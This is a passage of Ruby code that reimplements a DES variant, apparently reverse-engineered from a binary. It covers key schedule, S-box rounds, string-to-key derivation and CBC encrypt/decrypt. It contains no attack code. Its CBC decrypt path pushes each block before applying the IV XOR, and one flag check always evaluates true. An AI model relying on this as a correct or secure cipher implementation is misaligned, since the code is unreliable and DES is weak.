a2[0] = (a2[0] * 2) & 0xff
a2[7] |= (16 * a2[0]) & 0xff
v3 >>= 4
a2[0] |= v3 & 0xff
data_block = a2.pack("c*").unpack("V*")
data_block[0] &= 0x3F3F3F3F
data_block[1] &= 0x3F3F3F3F
data_block
end
def desx(data_block, ksch, idx)
ksch = ksch.pack("V*")
ksch = ksch.unpack("Q<*")
key_block = ksch[idx]
data_block_ptr = data_block.pack("V*")
data_block_ptr = data_block_ptr.unpack1("Q<*")
data_block_ptr ^= key_block
counter = 1
data_block_byte_ptr = [data_block_ptr].pack('Q<')
left = SBOXES[data_block_byte_ptr[0].ord]
right = SBOXES[data_block_byte_ptr[0].ord + (counter << 6)]
counter += 1
left ^= SBOXES[data_block_byte_ptr[1].ord + (counter << 6)]
counter += 1
right ^= SBOXES[data_block_byte_ptr[1].ord + (counter << 6)]
counter += 1
left ^= SBOXES[data_block_byte_ptr[2].ord + (counter << 6)]
counter += 1
right ^= SBOXES[data_block_byte_ptr[2].ord + (counter << 6)]
counter += 1
left ^= SBOXES[data_block_byte_ptr[3].ord + (counter << 6)]
counter += 1
right ^= SBOXES[data_block_byte_ptr[3].ord + (counter << 6)]
counter += 1
left ^= SBOXES[data_block_byte_ptr[4].ord + (counter << 6)]
counter += 1
right ^= SBOXES[data_block_byte_ptr[4].ord + (counter << 6)]
counter += 1
left ^= SBOXES[data_block_byte_ptr[5].ord + (counter << 6)]
counter += 1
right ^= SBOXES[data_block_byte_ptr[5].ord + (counter << 6)]
counter += 1
left ^= SBOXES[data_block_byte_ptr[6].ord + (counter << 6)]
counter += 1
right ^= SBOXES[data_block_byte_ptr[6].ord + (counter << 6)]
counter += 1
left ^= SBOXES[data_block_byte_ptr[7].ord + (counter << 6)]
counter += 1
right ^= SBOXES[data_block_byte_ptr[7].ord + (counter << 6)]
# Create return tuple
ret_block = Array.new
ret_block.push left
ret_block.push right
ret_block
end
def store(data_block)
a1 = data_block.pack("V*")
val = 8 * (16 * (16 * (16 * (16 * (16 * (16 * a1[7].ord | a1[6].ord) | a1[5].ord) | a1[4].ord) | a1[3].ord) | a1[2].ord) | a1[1].ord) | a1[0].ord >> 1
val & 0xffffffff
end
def sbox_xors(data_block_in, ksch_arg, decrypt_flag)
decrypt_flag_cpy = decrypt_flag
if (decrypt_flag & 0x100) != 0
data_block_0 = data_block_in
else
data_block_0 = rotate_block_init(data_block_in)
end
encrypt_flag = (decrypt_flag_cpy & 1) == 0
ti_block_0 = load(data_block_0[0])
ti_block_1 = load(data_block_0[1])
for i in 0..15
ti_cpy = ti_block_1
if encrypt_flag
ti_block_1 = desx(ti_block_1, ksch_arg, i)
else
ti_block_1 = desx(ti_block_1, ksch_arg, 15 - i)
end
ti_block_1[0] ^= ti_block_0[0]
ti_block_1[1] ^= ti_block_0[1]
ti_block_0 = ti_cpy
end
data_block_0[0] = store(ti_block_1)
data_block_0[1] = store(ti_block_0)
if (!(decrypt_flag_cpy & 0x200) != 0)
rotate_block_final(data_block_0)
else
data_block_0
end
end
def gen_key_unchecked(key)
idx = 0
key_arr = key.unpack("V*")
key_sch = Array.new
for i in 0..15
idx += ROTATIONS[i].ord
v6 = 0
v5 = 0
v14 = 0
for j in 0..47
pc2_p1 = (idx + PC2[j].ord) % 0x1C
if PC2[j].ord > 0x1B
pc2_p2 = 0x1c
else
pc2_p2 = 0
end
v13 = PC1[pc2_p1 + pc2_p2].ord
if v13 <= 31
v12 = 0
else
v12 = 1
v13 -= 32
end
if j <= 23
v10 = j
else
v14 = 1
v10 = j - 24
end
v11 = 8 * (v10 / 6) + v10 % 6
key_and = key_arr[v12] & SBOX_BYTE_ORDER[v13]
if (key_and != 0)
if v14 == 1
v6 |= SBOX_BYTE_ORDER[v11]
else
v5 |= SBOX_BYTE_ORDER[v11]
end
end
end
key_sch.push v5
key_sch.push v6
end
key_sch
end
def des_string_to_key(key_buf_str)
des_keysch_0 = gen_key_unchecked(INIT_DES_KEY_0)
des_keysch_1 = gen_key_unchecked(INIT_DES_KEY_1)
temp_key1 = Array.new(8, 0)
temp_key2 = Array.new(8, 0)
key_buf_bytes = key_buf_str.unpack("c*")
counter = 0
key_buf_str_len = key_buf_bytes.length - 1
for i in 0..key_buf_str_len
counter %= 8
temp_key1[counter] |= key_buf_bytes[i]
temp_key2[counter] |= key_buf_bytes[i]
data_block = temp_key1.pack("c*").unpack("V*")
temp_key1 = sbox_xors(data_block, des_keysch_0, 0)
temp_key1 = temp_key1.pack("V*").unpack("c*")
data_block = temp_key2.pack("c*").unpack("V*")
temp_key2 = sbox_xors(data_block, des_keysch_1, 0)
temp_key2 = temp_key2.pack("V*").unpack("c*")
counter += 1
end
# Prepare the return array
ret_key = Array.new(8, 0)
for j in 0..7
ret_key[j] = temp_key2[j] ^ temp_key1[j]
end
ret_key.pack("c*")
end
def des_cbc(input_buf, key_sch, iv, decrypt_flag)
output_block_arr = Array.new
blocks = input_buf.unpack("Q<*")
for i in 0..blocks.length - 1
current_block = blocks[i]
if decrypt_flag == 1
cur_block = current_block
else
current_block ^= iv
end
current_block_tuple = [current_block].pack("Q<").unpack("V*")
output_block_tuple = sbox_xors(current_block_tuple, key_sch, decrypt_flag)
output_block = output_block_tuple.pack("V*").unpack1("Q<")
output_block_arr.push output_block
if decrypt_flag == 1
output_block ^= iv
iv = cur_block
else
iv = output_block
end
end
output_block_arr.pack("Q<*")
end
def des_crypt_func(binary_buf, key_buf, decrypt_flag)
des_key = des_string_to_key(key_buf)
des_keysch = gen_key_unchecked(des_key)
temp_enc_buf = Array.new(8 * ((binary_buf.length + 7) >> 3) + 8, 0)
binary_buf_str = binary_buf.unpack('c*')
for j in 0..binary_buf_str.length - 1
temp_enc_buf[j] = binary_buf_str[j]
end
temp_enc_buf = temp_enc_buf.pack('c*')
output_buf = des_cbc(temp_enc_buf, des_keysch, 0, decrypt_flag)
output_buf
end
end